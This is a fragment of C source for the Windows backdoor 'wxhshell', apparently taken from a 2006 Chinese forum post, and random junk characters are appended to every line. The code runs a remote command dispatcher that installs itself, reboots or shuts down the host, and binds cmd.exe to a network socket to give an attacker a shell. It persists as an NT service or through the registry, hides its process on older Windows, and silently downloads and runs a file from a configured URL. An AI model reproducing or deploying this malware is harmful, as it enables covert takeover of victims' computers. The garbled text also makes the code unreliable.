    switch(cmd[0]) { 2I}+AW!!=  
  ,*U-o}{8C?  
  // 帮助 717THci3Y  
  case '?': { D4@?>ek6U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rh1PpsSc  
    break; Qw5(5W[L  
  } O|+ZEBP  
  // 安装 :e=7=|@7  
  case 'i': { =oIt.`rf  
    if(Install()) :d9GkC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; M0`8MD  
    else JZ`SV}\`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f.uuXK  
    break; bR) P-9rs  
    } u&1M(~Ub=  
  // 卸载 i8k} B o  
  case 'r': { s|H7;.3gp  
    if(Uninstall()) Pe,ky>ow  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TK18U*z7J  
    else 'g,_lF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gJX"4]Ol#}  
    break; __xmn{{L6P  
    } o]4BST(A  
  // 显示 wxhshell 所在路径 &_-=(rK  
  case 'p': { 5I2 h(Td  
    char svExeFile[MAX_PATH]; j@(S7=^C6%  
    strcpy(svExeFile,"\n\r"); 5hy7} *dR  
      strcat(svExeFile,ExeFile); NZv8#  
        send(wsh,svExeFile,strlen(svExeFile),0); |v%$Q/zp&  
    break; -rI7ihr*  
    } M&V4|D  
  // 重启 6]%=q)oL[  
  case 'b': { P8ej9ULX,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @}H'2V  
    if(Boot(REBOOT)) ]:D&kTc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FS&QF@dtgf  
    else { 1aO(+](;  
    closesocket(wsh); MbCz*oW  
    ExitThread(0); >*gf1"  
    } SF*mY=1  
    break; KTT!P 4  
    } kVM*[<k  
  // 关机 ~&p]kmwXSX  
  case 'd': { q6$6:L,<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d+v| &yN  
    if(Boot(SHUTDOWN)) TM{m:I:Z*n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }NwmZ w>_  
    else { )e P Qxx  
    closesocket(wsh); Cj3Xp~  
    ExitThread(0); 9 c9$cnQ  
    } xjU0&  
    break; hz;SDaBA  
    } Od;k}u6;<  
  // 获取shell @HMH>;haE  
  case 's': { flqr["czwK  
    CmdShell(wsh); _ymSo`Iv R  
    closesocket(wsh); cJq {;~   
    ExitThread(0); 6x(b/`VW  
    break; @q<h.#9  
  } !gLJBp  
  // 退出 }0E@eL  
  case 'x': { D[@- `F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U&B(uk(2  
    CloseIt(wsh); cwaR#-#  
    break; 2i!R>`  
    } ~m=Z>4M  
  // 离开 I:=!,4S;  
  case 'q': { ]wV\=m?z&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2N &B  
    closesocket(wsh); }])j>E  
    WSACleanup(); [7`S`\_NK  
    exit(1); UV;I6]$}A7  
    break; l2Py2ZI-b  
        } b_{+OqI  
  } ` k I}p  
  } KS~Q[-F1P  
0K^@P #{hd  
  // 提示信息 D&mPYxXL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fczia0@z  
} %1;Y`>  
  } 8cY5:plK  
K[noW  
  return; K6B6@  
} j^ 8Hjg  
7SkW!5  
// shell模块句柄 ,:}VbQ:3I  
int CmdShell(SOCKET sock) md{1Jn"  
{ 7 8xiT  
STARTUPINFO si; 6@^ ?dQ  
ZeroMemory(&si,sizeof(si)); B\AyG4J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kH0kf-4\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X J]+F  
PROCESS_INFORMATION ProcessInfo; 2i6P<&@  
char cmdline[]="cmd"; ^v;8 (eF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gv)*[7  
  return 0; nrpbQ(zI*  
} T[},6I|!  
A;C4>U Y  
// 自身启动模式 O[1Q#  
int StartFromService(void) t x1TtWo  
{ _pS)bx w  
typedef struct gEVoY,}/-U  
{ k~<ORnda  
  DWORD ExitStatus; L-|7 &  
  DWORD PebBaseAddress; Us&~d"n  
  DWORD AffinityMask; vy5{Vm".4  
  DWORD BasePriority; 'g)5vI~'  
  ULONG UniqueProcessId; Tff eCaBv  
  ULONG InheritedFromUniqueProcessId; }/NL"0j+4  
}   PROCESS_BASIC_INFORMATION; :8)3t! A  
!C' Y 7  
PROCNTQSIP NtQueryInformationProcess; Gqar5  
"$%&C%t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6 ;\>,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y>UQm|o<W  
)J\ JAUj  
  HANDLE             hProcess; $Ovq}Rexc  
  PROCESS_BASIC_INFORMATION pbi; :Z;kMrU  
"NSY=)fV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0R+<^6^l)  
  if(NULL == hInst ) return 0; B$97"$#u  
bb/A}< zD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m:;`mBOc3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k lr1"q7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w~9Y=|YI7  
Q;2k bVWY  
  if (!NtQueryInformationProcess) return 0; J0@#xw=+  
,tFLx#e#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GV)DLHiyxX  
  if(!hProcess) return 0; N':d T  
c&L|e$C]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ dVRVm0N  
m<4tH5 };d  
  CloseHandle(hProcess); W6 *5e{  
kf",/?s2Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '! ;Xxe5  
if(hProcess==NULL) return 0; 5Obv/C  
\xZ6+xZd1  
HMODULE hMod; t_X=x`f  
char procName[255]; F,GG>(6c  
unsigned long cbNeeded; QbAEW m  
h7\16j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pvqbk2BO  
Q@l.p-:^U  
  CloseHandle(hProcess); +r =p ,leb  
Z oKXao  
if(strstr(procName,"services")) return 1; // 以服务启动 lS`VJA6l.  
x5W@zqj  
  return 0; // 注册表启动 RjR  
} r<kqs,-~  
~rz%TDX0\  
// 主模块 $xj>j  
int StartWxhshell(LPSTR lpCmdLine) euh rEjwkH  
{ \"=@uqar2  
  SOCKET wsl; `Yu4h+T  
BOOL val=TRUE; 8bEii1EM  
  int port=0; { r8H5X  
  struct sockaddr_in door; W(*?rA-PP  
Y5Z<uD  
  if(wscfg.ws_autoins) Install(); z6Yx )qBE<  
];}7 %3  
port=atoi(lpCmdLine); #J c)v0_  
pB]+c%\  
if(port<=0) port=wscfg.ws_port; Xu5^ly8p9q  
?[Qxq34  
  WSADATA data; RZKczZGZg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L)Ru]X`  
gtb,}T=1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mt3j$r{_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G`R2=bb8  
  door.sin_family = AF_INET; _/[(&}M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L/J)OJe\  
  door.sin_port = htons(port); D~<0CQ3n.  
}%eXGdC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w w{07g  
closesocket(wsl); iX'#~eK*<  
return 1; Rlf#)4  
} *[['X%f  
}#f~"-O  
  if(listen(wsl,2) == INVALID_SOCKET) { baM@HpMhM  
closesocket(wsl); /3v`2=b  
return 1; K~>ESMZ5  
} XFN4m #  
  Wxhshell(wsl); V\o& {7!  
  WSACleanup(); 0j|JyS:}G  
@460r  
return 0; Gl>_C@n0h  
!tofO|E5  
} .Cf`D tK  
nqyB,vv0  
// 以NT服务方式启动 .EoLJHL }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8klu*  
{ )y}W=Q>T  
DWORD   status = 0; 4~/3MG  
  DWORD   specificError = 0xfffffff; T]Eg9Y:+v  
Tj*Vk $}0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t1tZ:4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o@0p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7vs>PV  
  serviceStatus.dwWin32ExitCode     = 0; R k).D 6  
  serviceStatus.dwServiceSpecificExitCode = 0; 9AdA|/WV  
  serviceStatus.dwCheckPoint       = 0; g>O O '}lF  
  serviceStatus.dwWaitHint       = 0; o}K!p %5_  
f"G?#dW/1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aC2\C=ru_  
  if (hServiceStatusHandle==0) return; N-Nq*  
GE[J`?E]  
status = GetLastError(); #!X4\+)  
  if (status!=NO_ERROR) $>fMu   
{ ^h@1tFF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PxHH h{y%c  
    serviceStatus.dwCheckPoint       = 0; Os-sYaW  
    serviceStatus.dwWaitHint       = 0; H|0GRjC  
    serviceStatus.dwWin32ExitCode     = status; AlRng& o~  
    serviceStatus.dwServiceSpecificExitCode = specificError; fgSe]q//  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x:)8+Rn}  
    return; SBBi"U:  
  } Q7$K,7flf;  
"R/Xv+;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n++L =&Wd  
  serviceStatus.dwCheckPoint       = 0; yqw#= fy  
  serviceStatus.dwWaitHint       = 0; )tyhf(p6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wd`lN,WiW  
} !4f0VQI  
l4sFT)}-J  
// 处理NT服务事件,比如:启动、停止 ;:l\_b'Z}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >~sAa+Oxi  
{ >)3[CU,  
switch(fdwControl) ,1+)qv#|i  
{ f6h!wx  
case SERVICE_CONTROL_STOP: [nam H a  
  serviceStatus.dwWin32ExitCode = 0; X_eh+>D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =i/7&gC  
  serviceStatus.dwCheckPoint   = 0; uxd5XS  
  serviceStatus.dwWaitHint     = 0; 5xawa:K  
  { (ft8,^=4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >wpC45n)9N  
  } f|f9[h'  
  return; ,NQucp  
case SERVICE_CONTROL_PAUSE: D|}%(N@sl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ol~j q;75  
  break; I(*4N^9++  
case SERVICE_CONTROL_CONTINUE: O!D0 hW4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !V6O~#  
  break; q >|:mXR  
case SERVICE_CONTROL_INTERROGATE: n~g,qEI;<x  
  break; <QyJJQM  
}; sacaL4[_<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jz%%r Q(  
} i0%S6vmaS  
7aJLC!  
// 标准应用程序主函数 ^$7Lmd.qI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E  K)7g~  
{ VE<&0d<  
m\88Etl@  
// 获取操作系统版本 o#-K,|-  
OsIsNt=GetOsVer(); /^kZ}}9baU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .'q0*Pe  
B%c):`w8]  
  // 从命令行安装 Q}N.DM@d3  
  if(strpbrk(lpCmdLine,"iI")) Install(); cboue LEt  
,3t('SE  
  // 下载执行文件 8()L}@y  
if(wscfg.ws_downexe) { hDp -,ag{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xq9n-;%zL  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4{h?!Z*  
} <303PPX^6  
d+_wN2  
if(!OsIsNt) { 8v},&rhPQq  
// 如果时win9x,隐藏进程并且设置为注册表启动 \o-Q9V  
HideProc(); 1Y"[Qs]"mU  
StartWxhshell(lpCmdLine); v(T;Y=&  
} ^gwVh~j  
else ]}_@!F)  
  if(StartFromService()) J?WT  
  // 以服务方式启动 Z^w}: {  
  StartServiceCtrlDispatcher(DispatchTable); p#9.lFSX  
else w a!g/ \  
  // 普通方式启动 |-Z9-rl  
  StartWxhshell(lpCmdLine); q^ {Xn-G  
pv.0!a/M  
return 0; =gCv`SFW  
}
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只看该作者 1 发表于: 2006-10-10
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